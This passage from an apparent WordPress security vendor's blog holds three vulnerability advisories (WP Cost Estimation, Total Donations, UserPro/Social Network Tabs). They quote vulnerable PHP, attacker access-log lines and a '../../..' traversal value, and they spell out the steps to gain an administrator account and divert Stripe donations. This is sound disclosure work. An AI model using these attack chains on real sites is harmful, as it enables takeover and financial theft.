The code block above, taken from the patched version of the uploadFormFiles function, shows the $formSession and $form->randomSeed variables used in a number of places to define an upload path for a given file.

The intent of this behavior is for each visitor to a site to be given a unique $formSession value as a hidden field in each form, so files they upload can be grouped appropriately in directories. However, this value is ultimately user-supplied when the form is submitted, and is susceptible to directory traversal attacks. For example, submitting a $formSession value like ../../.. would place the uploaded file in the document root of a site, rather than in wp-content/uploads/CostEstimationPayment as intended.

This vulnerability is mitigated in part by the addition of the randomSeed value, which would break most directory traversal attempts by appending a random alphanumeric string following the $formSession input. Uploads could still be made to unintended directories, but it would prevent existing files from being overwritten.

Unfortunately, only forms created in the patched version would have an associated randomSeed value stored in the database. Forms which existed prior to the patch, which would certainly be the case for the majority of users, had an empty randomSeed value. This empty value does nothing when appended to the $formSession path, which leaves these forms vulnerable.

Even with a whitelist only allowing images and archives to be uploaded, an attacker could cause serious trouble with an exploit. Any image on a site could be overwritten, allowing defacement campaigns to replace them en masse. If any backups are kept in an accessible location in a zip archive, an attacker could replace this backup with their own poisoned version, containing new users in the database or backdoors buried elsewhere in the file structure. When the backup is restored (perhaps following a mysterious case of overwritten images), these backdoors would be deployed.

Coordinated Disclosure

Once we became aware of the remaining issues, we contacted the developer to begin the process of patching them. We quickly received a response from Charly Biscay of Loopus Plugins. Vendor responses to vulnerability disclosures can be unpredictable, if a response comes at all, but Charly was happy to be notified and worked closely with us through the process of developing a patch.

For this patch, we made three recommendations which were all implemented:

  1. Reject any $formSession containing any non-alphanumeric characters.
  2. Generate new randomSeed values for forms where a value is not present.
  3. Implement .htaccess restrictions in upload directories, so scripts are inaccessible in the event that a successful upload takes place.

The timeline of the discovery, disclosure, and patching of this flaw is as follows:

2019-01-26: Upload directory traversal vulnerability discovered. Vendor contacted through form on CodeCanyon profile.
2019-01-28: Received response from vendor. Continued correspondence via email. Informed vendor of specific issues in WP Cost Estimation plugin.
2019-01-31: Patched version of WP Cost Estimation plugin released on CodeCanyon.

Next Steps

As usual, updating to the latest version of WP Cost Estimation should be made a priority. If your site has been running a vulnerable version of the plugin and you believe your site may have been compromised, consider working with our team on a security audit.

Some good news, sites making use of the Wordfence Firewall are in the clear. Exploits against each vulnerability described in this post are blocked by broad rules which were already built into the WAF, so free users don’t even need to wait. Still, even as a Wordfence user, we recommend performing all available plugin and theme updates to ensure the security of your site.


To recap, our team identified attacks against outdated versions of the WP Cost Estimation & Payment Forms Builder plugin for WordPress. After review, we identified additional flaws and reported these to the developer who quickly released a patch. We recommend all users of this plugin update to the latest version as soon as possible.

For any questions regarding our vulnerability disclosure process, please check out our official policy.

Credits: Initial attack data discovered by Security Analyst Nate Smith. Vulnerability assessment and vendor correspondence by Threat Analyst Mikey Veenstra. Thanks to Charly Biscay of Loopus Plugins for the cooperation and quick patch release.

The post Vulnerabilities Patched in WP Cost Estimation Plugin appeared first on Wordfence.

Read More

WordPress Sites Compromised via Zero-Day Vulnerabilities in Total Donations Plugin

The Wordfence Threat Intelligence team recently identified multiple critical vulnerabilities in the commercial Total Donations plugin for WordPress. These vulnerabilities, present in all known versions of the plugin up to and including 2.0.5, are being exploited by malicious actors to gain administrative access to affected WordPress sites. We have reserved CVE-2019-6703 to track and reference these vulnerabilities collectively.

It is our recommendation that site owners using Total Donations delete–not just deactivate–the vulnerable plugin as soon as possible to secure their sites. The following article details the issues present in Total Donations, as well as the active attacks against the plugin. We’ll also take a look at our disclosure process, and the steps we took in our attempts to contact the plugin’s developers to reach a resolution.

Curious Access Logs

As is the case with many investigations, this discovery was directly aided by an attacker’s mistake. During the course of remediating a compromised site, an analyst identified a series of suspicious AJAX actions in the site’s access log (extra data has been removed for clarity):

POST /wp-admin/admin-ajax.php?action=migla_getme
POST /wp-admin/admin-ajax.php?action=migla_getme
POST /wp-admin/admin-ajax.php?action=miglaA_update_me
POST /wp-admin/admin-ajax.php?action=miglaA_update_me
GET /wp-login.php?action=register

Searching the site’s codebase for the strings migla_getme and miglaA_update_me revealed the installed Total Donations plugin, and we quickly identified the exploited vulnerabilities as well as the attacker’s workflow.

The mistake made by the attacker was the use of ?action= in the query strings of these requests. WordPress’s AJAX API treats $_GET['action'] and $_POST['action'] the same, so if action was passed in the POST body of the request instead of the query string, the activity wouldn’t have been nearly as obvious.

Multiple Vulnerable AJAX Actions

Total Donations registers a total of 88 unique AJAX actions into WordPress, each of which can be accessed by unauthenticated users by querying the typical /wp-admin/admin-ajax.php endpoint. We have determined that 49 of these 88 actions can be exploited by a malicious actor to access sensitive data, make unauthorized changes to a site’s content and configuration, or take over a vulnerable site entirely.

Some of the more noteworthy issues are as follows:

Arbitrary Options Updates Leading To Site Takeover

The most immediately obvious flaws in Total Donations allow unauthenticated users to read and update arbitrary WordPress options, and these are where we’ve identified active exploitation in the wild.

add_action("wp_ajax_migla_getme", "migla_getme");
add_action("wp_ajax_nopriv_migla_getme", "migla_getme");

function migla_getme(){
$r = get_option($_POST['key']);
echo $r;

The functions migla_getme (shown above) and migla_getme_array both allow an unprivileged attacker to read the value of any WordPress option.

add_action("wp_ajax_nopriv_miglaA_update_me", "miglaA_update_me");
add_action("wp_ajax_miglaA_update_me", "miglaA_update_me");

function miglaA_update_me() {
$key = $_POST['key'];
$value = $_POST['value'];

update_option( $key , $value);


miglaA_update_me (shown above), miglaA_update_arr, and miglaA_update_barinfo (which is actually identical to miglaA_update_me) can all be used to modify the values of these options.

Together, migla_getme and miglaA_update_me can be used to enable the users_can_register option, and set default_role to “administrator”. With these settings in place, anyone can freely register an account with administrative permissions on the vulnerable site, where they can perform further malicious activity without issue.

Access, Modify, and Delete Recurring Stripe Payment Plans

Total Donations can connect to Stripe as a payment processor, and can make use of Stripe’s Plans API to schedule recurring donations. Unfortunately, none of the AJAX functions used to interact with these plans feature any access control.

add_action("wp_ajax_miglaA_stripe_addPlan", "miglaA_stripe_addPlan");
add_action("wp_ajax_nopriv_miglaA_stripe_addPlan", "miglaA_stripe_addPlan");

function miglaA_stripe_addPlan(){

require_once 'migla-call-stripe.php'; 
Migla_Stripe::setApiKey( migla_getSK() );

if( !isset($_POST['interval_count']) || empty($_POST['interval_count']) ){ 
$_count = 1; 
$_count = $_POST['interval_count'] ;

$plan = MStripe_Plan::create(
"amount" => $_POST['amount'],
"interval" => $_POST['interval'],
"interval_count" => $_count,
"name" => $_POST['name'],
"currency" => get_option('migla_default_currency'),
"id" => $_POST['id']

$plan_array = $plan->__toArray(true);

$post_id = migla_get_stripeplan_id();

add_post_meta( $post_id, 'stripeplan_'.$_POST['id'], $plan_array );

echo $arr;

These functions, including miglaA_stripe_addPlan (shown above), miglaA_syncPlan, and miglaA_stripe_deletePlan, can be exploited to make unauthorized changes to an affected site’s recurring donations.

Additionally, when combined with the arbitrary options update flaw present in miglaA_update_me, an attacker can modify the options which store Stripe’s API keys in order to route incoming donations to a different Stripe account entirely.

Access Constant Contact and Mailchimp Mailing Lists

Sites seeking to perform donation drives will often make use of mailing lists to drive these campaigns, and Total Donations includes functionality which can integrate its own campaigns with mailing lists through both Constant Contact and Mailchimp.

add_action("wp_ajax_miglaA_retrieve_cc_lists", "miglaA_retrieve_cc_lists");
add_action("wp_ajax_nopriv_miglaA_retrieve_cc_lists", "miglaA_retrieve_cc_lists");

function miglaA_retrieve_cc_lists()
$cc = new migla_constant_contact_class();
$theList = $cc->get_milist();

echo $theList;

Just like the rest of these functions, miglaA_mailchimp_getlists and miglaA_retrieve_cc_lists (shown above) both fail to perform any sort of permissions checks before returning data associated with a connected account’s mailing lists.

Other Miscellaneous Vulnerabilities

A number of other vulnerabilities exist in the plugin, which are moot when an attacker can gain administrative access and perform any other activity manually from there. However, in the interest of illustrating the scope of Total Donation’s issues, here’s a few of them.

add_action("wp_ajax_miglaA_export_report", "miglaA_export_report");
add_action("wp_ajax_nopriv_miglaA_export_report", "miglaA_export_report");

function miglaA_export_report() 
global $wpdb;
$meta = array();
$meta = $wpdb->get_results(
"SELECT DISTINCT meta_key FROM {$wpdb->prefix}postmeta where meta_key like 'miglad%' OR meta_key like 'miglac%'"

$PID = array();
$PID = $wpdb->get_results( 
"SELECT ID FROM {$wpdb->prefix}posts WHERE post_type like %s ORDER BY ID", $_POST['post_type']

$data = array();
$row = 0;

foreach( $PID as $id )
foreach( $meta as $m )
$data[$row][$m->meta_key] = get_post_meta( intval( $id->ID ) , $m->meta_key, true );
$data[$row]['id'] = intval( $id->ID ) ;

echo json_encode($data);

miglaA_export_report, a function intended to produce donation reports, can allow unauthenticated access to private and unpublished posts.

function updateACampaignCretor($old, $new , $form_id)
$sql = "UPDATE {$wpdb->prefix}posts SET post_title = '".$new."' WHERE ID ='".$form_id."'";

miglaA_save_campaign and miglaA_save_campaign_creator both call the internal function updateACampaignCretor (sic), which can be vulnerable to SQL injection if WordPress’s wp_magic_quotes feature is bypassed. Without bypassing, it can still be used to change arbitrary post titles on a vulnerable site.

add_action("wp_ajax_miglaA_test_email", "miglaA_test_email");
add_action("wp_ajax_nopriv_miglaA_test_email", "miglaA_test_email");

function miglaA_test_email()
$postData = array();
$postData['miglad_email'] = $_POST['testemail'];
$postData['miglad_firstname'] = 'John';
$postData['miglad_lastname'] = 'Doe';
$postData['miglad_amount'] = 100;
$postData['miglad_date'] = date("Y-m-d", time());
$postData['miglad_address'] = "Houwei Ave Road";
$postData['miglad_country'] = "Canada";
$postData['miglad_province'] = "British Columbia";
$postData['miglad_postalcode'] = "1234";
$postData['miglad_campaign'] = 'Save Sun Bears';
$postData['miglad_repeating'] = 'no';
$postData['miglad_anonymous'] = 'no';
$ne = get_option('migla_notif_emails');

$test = mg_send_thank_you_email( $postData, $_POST['email'], $_POST['emailname'] );
mg_send_notification_emails( $postData, $_POST['email'], $_POST['emailname'] , $ne );

if( $test ){ 
echo "Email has been sent to ".$_POST['testemail']; 
} else { 
echo "Sending email failed"; 


Multiple actions, including miglaA_test_email, can be abused by an attacker to send test emails to an arbitrary address. This can be automated as a Denial of Service (DoS) for outbound email, either by triggering a host’s outgoing mail relay limits, or by causing the victim site to appear on spam blacklists.

Plugin Abandoned, No Developer Response

These security flaws are considered zero-day vulnerabilities due to their active exploitation and a lack of an available patch. On January 16th, we worked to contact Total Donations’ development team, Calmar Webmedia, in order to work together to produce a patch and protect affected users. Unfortunately, the process of making this contact revealed that a solution may not ever be coming.

The official Total Donations site currently displays this Coming Soon splash page, and has since May 2018.

There currently do not appear to be any legitimate means of acquiring the latest version of Total Donations. The plugin’s homepage currently displays a Coming Soon page, featuring a mockup image of a new website. The upload path of this image implies the site has been in this state since May 2018.

The plugin was formerly distributed via Envato’s CodeCanyon marketplace. Total Donations is no longer available for purchase, but its reviews page is still accessible.

Negative reviews about absent developer support go back years.

The most common issue cited in these reviews is a lack of product support, with complaints up to three years old detailing a complete lack of responsiveness from the plugin’s developers. As a security researcher hoping to make urgent contact regarding an active threat, this was an early bad omen.

The seller profile associated with Total Donations contained information and support links to Calmar Webmedia, a Vancouver-based development firm. However, this project appears to have been abandoned as well. The company’s support page loads a blank screen, likely a White Screen of Death, and the Request A Quote page just displays a nonfunctional shortcode.

One still-functional element of Calmar Webmedia’s site is a JavaScript animation of a stick figure running from a tank, present in the footer of every page.

Ultimately, the only official method of contacting Calmar Webmedia was a contact form available in the footer of the company’s home page. On January 16th we submitted a request for contact through this form, and have not received any acknowledgement from Calmar Webmedia.

Because of the lack of any developer response, the apparent abandonment of the Total Donations plugin, and the active attacks on vulnerable sites, as per our published disclosure policy we have released this disclosure as a means of making the community aware of the threat.

Delete the Plugin, Don’t Just Deactivate It

As we suggested earlier in this post, in order to completely secure an affected site the Total Donations plugin should be deleted entirely, not just deactivated. This is due to an alternate AJAX endpoint built into Total Donations by its developers.

$action = esc_attr(trim($_POST['action']));

//For logged in users
add_action("wp_ajax_".$action , $action); 
add_action("wp_ajax_nopriv_".$action , $action);


The script, the-ajax-caller.php, loads the site’s WordPress environment and subsequently registers and executes whichever AJAX action is passed, even when Total Donations is deactivated. This can also be used to call any arbitrary function, regardless of whether it’s associated with the Total Donations plugin at all, posing additional security risks on its own.

Next Steps

We will continue to track malicious activity associated with CVE-2019-6703 going forward, and will report on any noteworthy changes in this activity.

We have released a firewall rule to protect sites using the Wordfence WAF from these vulnerabilities, which our Premium subscribers have already received. Sites protected by the free version will receive it following our standard delay of thirty days. Given the severity of the vulnerabilities we strongly recommend that everyone, including our Premium customers, remove the plugin from their site and seek an alternative.

Please consider sharing this disclosure in order to improve awareness of these threats, and if someone you know uses the plugin on one of their sites warn them immediately.

For any questions regarding our decision to disclose these unpatched flaws, please refer to our Vulnerability Disclosure Policy.

Credits: Initial attack data discovered by Security Analyst Nate Smith. Vulnerability assessment and vendor research performed by Threat Analyst Mikey Veenstra, with additional review by Matt Rusnak and Ramuel Gall. Edited by Dan Moen and Mark Maunder.

The post WordPress Sites Compromised via Zero-Day Vulnerabilities in Total Donations Plugin appeared first on Wordfence.

Read More

A Tale of Two Vulnerabilities: Using Commercial Plugins Responsibly

As the most popular CMS on the market, one of the major draws of WordPress is a rich ecosystem of plugins made available by the community. The WordPress.org plugin repository makes the process of installing and updating plugins a seamless experience in the dashboard of a site, and a team of volunteers works to maintain the repository as new plugins are submitted and abandoned ones fade away.

The official repository is just one of many places where a site owner can find plugins, though. Since any plugin made available in the WordPress.org repository must be free, third-party marketplaces are a common source of commercial plugins and themes that don’t need to follow the same rules. Some plugin developers even choose to sell their software from their own sites, without involving a marketplace in the transaction.

These third-party sources can be an excellent way to find well-supported commercial plugins for a new WordPress site, offering features that may not be common among free alternatives. However, these sources lack some advantages inherent to the official WordPress.org repository that can cause issues for unaware site owners over time.

In the following post, we’ll be taking a look at two recent examples of security issues in plugins sourced from outside the official plugin repository that are currently being exploited. We’ll also go over some best practices for using commercial plugins responsibly in order to keep your sites secure in the long term.

UserPro Plugin Flaw Allows Administrator Registration

In a proof of concept exploit published this month, it was revealed that versions older than 4.9.21 of the commercial plugin UserPro contain a security flaw allowing new users to register themselves with Administrator permissions, granting them control of affected sites.

UserPro’s default account registration form.

By manipulating the account registration form on a site, or by intercepting and editing requests from a standard form, attackers can add a role parameter to their registration submission. The plugin will accept this input and assign the chosen role to the newly created user. With a newly created administrator account, an attacker can upload a malicious plugin or undergo other nefarious activity freely.


Screenshot snippet of a manipulated HTTP request to the account registration handler.

This flaw was patched in March of 2018, but we’re still seeing active exploitation of vulnerable versions. This highlights one major concern with introducing off-repository commercial plugins: updates.

When a plugin is available on the official repository, WordPress is able to keep track of the version present on your site and compare that to the latest available version. When an update is available, users receive notifications in their dashboard and can issue the update directly from there. In extreme cases of critical vulnerabilities, the repo’s maintainers can even flag vulnerable plugins to automatically update.

Commercial plugins generally lack these protections, as it would rely on the developer to maintain their own repository for all installed copies of their plugins to test against. Updating a commercial plugin often involves manually uploading a new copy, which less-savvy users can be hesitant to do. This also assumes users are periodically checking in on the development process of each of their installed plugins to even become aware that an update is necessary. Since many sites are built by a developer and handed off to the owner to maintain,  these owners may not have any idea these extra steps are necessary at all.

In the case of this UserPro vulnerability, we’ve developed a firewall rule to prevent attackers from defining their own role when registering an account.

Social Network Tabs Plugin Leads To Twitter Hijacking

In a full disclosure published on Twitter and later reported by TechCrunch, security researcher Baptiste Robert detailed a flaw in Social Network Tabs which leaks private access tokens associated with a site’s Twitter account.

jQuery snippet from an affected site. Source: https://twitter.com/fs0c131y/status/1085828997013954560

This flaw has not been patched and its latest available version remains vulnerable. In this case, it’s possible a patch isn’t coming. Neither the plugin itself, nor the developer’s blog, have been updated in over five years. On the bright side, Robert has worked with Twitter to identify as many affected accounts as possible in an attempt to mitigate the impact of this data exposure.

When a plugin on the official WordPress.org repository is abandoned, there are policies in place to allow new developers to pick up where the former ones left off. Even when they’re not taken over, solutions like Wordfence can identify when a plugin has been abandoned and alert site owners of the problem so it can be addressed.

Unfortunately because this sensitive data exposure requires no input from abusers, it’s not possible to protect affected sites with a firewall rule. For affected users, it’s highly recommended to discontinue use of the Social Network Tabs plugin and look into alternatives. Twitter has been made aware of a number of leaked access tokens and has revoked them for the safety of their users. but affected users should immediately change their Twitter passwords and review their accounts for suspicious activity.


Third-party marketplaces, as well as developers who self-publish commercial plugins, can be a great source of software for people to add to their WordPress sites. When using these unofficial sources, though, site owners need to remain mindful. These plugins often won’t alert users when an update is available, so even vulnerabilities patched by the software vendor can remain present on sites for a considerable amount of time. Also, when checking your commercial plugins for updates, remain aware of how long it’s been since the last patch. If a plugin hasn’t seen an update in a year or more, consider finding a better-supported alternative.

The UserPro plugin vulnerability has received a firewall rule to block attacks on sites behind the Wordfence WAF. Wordfence users with Premium licenses will have received this new rule by the time this post is published. Free users will gain access to the rule after a standard thirty-day delay.

Thank you for reading, and please consider sharing this article to raise awareness of these vulnerabilities as well as the best practices for using commercial WordPress plugins.

The post A Tale of Two Vulnerabilities: Using Commercial Plugins Responsibly appeared first on Wordfence.

Read More
Page 1 of 3123»